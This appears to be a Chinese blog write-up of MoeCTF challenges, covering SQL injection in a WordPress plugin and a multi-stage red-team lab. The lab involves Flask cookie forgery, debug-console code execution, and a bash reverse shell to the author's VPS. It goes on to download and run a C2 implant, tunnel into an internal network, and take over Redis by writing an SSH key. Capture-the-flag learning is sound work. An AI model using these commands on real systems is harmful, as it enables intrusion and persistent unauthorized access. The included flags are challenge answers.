MoeCTF
MoeCTF
出去旅游的心海
在wordpress里可以看到
他写了一个上传数据的插件,于是我们先抓个包
发现是post方法
她这里用post方法上传了IP user_agent 和 time
这里我们看看源码
这里用到ctrl F可以查找源码里的字符
这里我们知道了上传的地方
wp-content/plugins/visitor-logging/logger.php4
访问他,我们就可以进入到下一层
由于在上一步中我们知道,他用post方法上传了三个,参数
于是我们寻找这三个参数的相关代码
这里我们注意到,IP user_agent 都被引号包裹了
所以我们判断·注入点在time
于是我们试着查询数据库
这里hackbar里有关于mysql的一些写好的查询语句
这是查询语句
这里我们会看到他的表名
secret_of_kokomi
知道了表名,我们下一步就是查列名
这里我们就知道了他的列
id,content
下一步就是爆出他的值
这里就可以得到flag了
moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}
MoeWorld
这道题的考点是(隧道搭建 MySQL redis)
首先是一个压缩包
由题目得知是上一题的flag
进入题目后,他给我们了一个登录界面
我们试着注册登录,登录成功后我们会看到这个界面
这里我们根据admin的提示,我们知道他是由flask搭建的python服务器
其中sercret_key的赋值是这样的
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
这里听boogipop老师讲解得知,是JWT伪造
也就是这里
有一个Cookie
eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InNkZWdyZWUifQ.ZPMILQ.g1tZKa5kZdy_3qkzJzDt4UIHE94
它这里由三部分组成
由一个base64和两个签名组成,这是第一段base64解密后的文本
可以看到这里的power是guest(就是访客的意思)
我们这里需要将访客,伪造成admin
但是我们需要了解这里的密钥也就是app.secret_key
这里其实就是需要我们JWT伪造,进一步获取信息
因为我们已经了解到,这个框架是由python环境组成的
所以我们使用python查看他的密钥
这里需要我们引用os模块
详细了解os模块,查看这个链接
https://zhuanlan.zhihu.com/p/150835193
这里我们用print()函数得到加密字符串
他是由This-random-secretKey-you-can't-get+一个四位数的随机字符串组成
他这里使用了os.urandom(2).hex()
说明它这里用了16进制
说明他这里用到了
123456789abcdef
这些字符(也就是说字符集只有这15个字母)
也就是说,这里我们要制作一个长度为4由这15个字母组成的字典对它进行爆破
这个是生成字典的脚本
由于博主太菜,只学了c语言的stdio.h库(轻点骂)
#include <stdio.h>
int main() { char charset[] = "1234567890abcdef"; int charsetLength = 16; int combinationLength = 4;
// 打开文件以写入模式 FILE *file = fopen("di.txt", "w");
if (file == NULL) { perror("无法打开文件"); return 1; }
for (int i = 0; i < charsetLength; i++) { for (int j = 0; j < charsetLength; j++) { for (int k = 0; k < charsetLength; k++) { for (int l = 0; l < charsetLength; l++) { fprintf(file, "This-random-secretKey-you-can't-get%c%c%c%c\n", charset[i], charset[j], charset[k], charset[l]); } } } }
// 关闭文件 fclose(file);
return 0; }
这个就是生成的字典
这里将生成的字典,放在kali虚拟机的tmp目录下,并尝试打开,发现没有问题
这里要使用flask-unsign这个插件
安装后,我这里有一个bug只能在
~/.local/bin
目录下输入+使用部分运行
./flask-unsign
这里的命令是这样的
./flask-unsign --unsign --cookie eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InNkZWdyZWUifQ.ZPMILQ.g1tZKa5kZdy_3qkzJzDt4UIHE94 --wordlist /tmp/dict.txt
这个就是爆破后的cookie
This-random-secretKey-you-can't-get25e4
得到爆破后的cookie,这里用到flask_session_cookie_manager来将这里的guest改成admin
也就是这样
{'power': 'admin', 'user': 'sdegree'}
python flask_session_cookie_manager3.py encode -t "{'power': 'admin', 'user': 'sdegree'}" -s "This-random-secretKey-you-can't-get25e4"
这里的-t后面是我们要加密的字符串,-s是密钥
这样我们就可以得到我们精心伪造的cookie
eyJwb3dlciI6ImFkbWluIiwidXNlciI6InNkZWdyZWUifQ.ZPMKDg.jimSOVh0PH43llpuLYIe5gn9ryw
然后我们在这里换上它,然后刷新就可以进入一个新的界面
可以看到,这里多了很多东西,我们看到了只有admin才能看到的东西、
这里我们发现他说调试模式的pin码是831-962-688不变的(后来改成 138-429-604 )
这里我们就可以开启debugger模式
他有一个默认的路由,就是console我们打开它
会发现一个输入框,其实就是控制台,在这里我们其实就可以把pin码输入进去
我们就来到了可以运行任意python语句的后台
这里导入os模块
使用os.popen就可以查看目录下的所有文件
到了这里,我们就拿到了第一段flag,但是这才刚刚开始。题目的描述是扮演红队队员,这里才只是外网,所以我们需要做进一步的权限维持。
这时,我们需要上传一个木马,来达到维持权限的作用。
这里我们先弹一个shell到我的vps上
os.popen('bash -c "bash -i >& /dev/tcp/你的ip/7777 <&1"').read()
这里我们拿到了,第一段flag
moectf{Information-leakage-Is-dangerous!
根据提示,我们查看readme
恭喜你通过外⽹渗透拿下了本台服务器的权限 接下来,你需要尝试内⽹渗透,本服务器的/app/tools⽬录下内置了fscan 你需要了解它的基本⽤法,然后扫描内⽹的ip段 如果你进⾏了正确的操作,会得到类似下⾯的结果 10.1.11.11:22 open 10.1.23.21:8080 open 10.1.23.23:9000 open 将你得到的若⼲个端⼝号从⼩到⼤排序并以 - 分割,这⼀串即为hint.zip压缩包的密码(本例中, 密码为:22-8080-9000) 注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 , 请忽略掉有关192.168.0.1的所有结果!此为出题⼈服务器上的其它正常服务
这里我们要使用它提供的fscan来继续操作
这里我们先查看他的ip
它ban掉了ipconfig
不过我们可以使用
cat /etc/hosts
来查看他的ip
这里我们看到它有两个网卡
172.21.0.2 31192dd0eaf4
172.20.0.4 31192dd0eaf4
但是它不让我们看ipconfig,所以我们不知道那一张网卡才是主网卡
现在我们遇到一个问题:
得到了反弹shell,但是没有交互tty。
所以我们需要使用C2平台权限维持
这里的禁用超级多,听了大佬的讲解,得知可以使用urllib
这里我们先搭建C2平台,我用的是vshell,可以查看我的vshell安装博客
这里先生成一个木马
然后要用python将这个木马上传到服务器
https://zhuanlan.zhihu.com/p/355066395
这里再开一台vps开启一个python服务器
python3 -m http.server 9999
然后就可以看到这个页面点击moctf即可下载
urllib.request.urlretrieve("http://你的ip+端口/moectf","/tmp/moectf")
这里可以看到,已经下载成功了
然后给权限,连接C2平台
chmod +x moectf
./moectf&
然后就完成了权限维持
接下来我们利用fscan扫描
这里的-24就是扫描我们的ip c段
start infoscan (icmp) Target 172.20.0.1 is alive (icmp) Target 172.20.0.2 is alive (icmp) Target 172.20.0.4 is alive [] Icmp alive hosts len is: 3 172.20.0.1:443 open 172.20.0.4:8080 open 172.20.0.1:8080 open 172.20.0.2:6379 open 172.20.0.1:3306 open 172.20.0.1:80 open 172.20.0.2:22 open 172.20.0.1:22 open 172.20.0.1:21 open 172.20.0.1:10001 open 172.20.0.1:7777 open 172.20.0.1:888 open [] alive ports len is: 12 start vulscan [+] Redis:172.20.0.2:6379 unauthorized file:/data/dump.rdb [] WebTitle: http://172.20.0.1 code:200 len:138 title:404 Not Found [+] Redis:172.20.0.2:6379 like can write /root/.ssh/ [] WebTitle: http://172.20.0.1:888 code:403 len:548 title:403 Forbidden [] WebTitle: http://172.20.0.1:8080 code:302 len:35 title:None 跳转url: http://172.20.0.1:8080/login/index [] WebTitle: http://172.20.0.1:7777 code:200 len:917 title:恭喜,站点创建成功! [] WebTitle: http://172.20.0.4:8080 code:302 len:199 title:Redirecting... 跳转url: http://172.20.0.4:8080/login [] WebTitle: http://172.20.0.4:8080/login code:200 len:1145 title:LOGIN [*] WebTitle: http://172.20.0.1:8080/login/index code:200 len:3617 title:None 已完成 11/12 [-] ssh 172.20.0.1:22 root root111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
所以密码就是22-3306-6379-8080
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果 可以看到,在本内网下还有另外两台服务器 其中一台开启了22(ssh)和6379(redis)端口 另一台开启了3306(mysql)端口 还有一台正是你访问到的留言板服务 接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器 此处可了解nps
和frp
,同样在/app/tools已内置了相应文件 连接代理,推荐proxychains
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2 对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3
接下来我们需要隧道搭建
这里有几种方法
1.nps
2.frp
3.venom
4.c2⾃带(vshell)
我用的是自带的
这里记得选择socks代理
这是原理
172.21.0.2:xxxx->本机ip:xxxxx->114.116.119.253:1089<-某种⼯具连接这个隧道<-攻击机
然后使用 proxifier
就是这个,下载链接我帮大家找好了
https://www.nite07.com/proxifier/index.html
这是访问,就会发现通了
我们先查找mysql
在这里有账号密码
host="mysql", # 数据库地址 port=3306, # 数据库端口 user="root", # 数据库用户名 passwd="4", # 数据库密码 database="messageboard", # 数据库名 charset='utf8'
用navicat连接即可
拿到了flag2,接下来我们来拿最后一个redis的flag3
这里利用到了 Another-Redis-Desktop-Manager.1.6.1.exe
可视化工具
这里要用到 写入ssh公钥这个方法
这里我们拥有了,22端口(有ssh)/root/.ssh/,root , 允许
ssh-keygen -t rsa # ⽣成公钥和私钥
接下来我们要写⼊公钥到目标服务器的/root/.ssh/authorized_keys
然后连接就行了
终于弄完了,太炸裂了,这个题做了4天,他真的我哭死。
- 感谢你赐予我前进的力量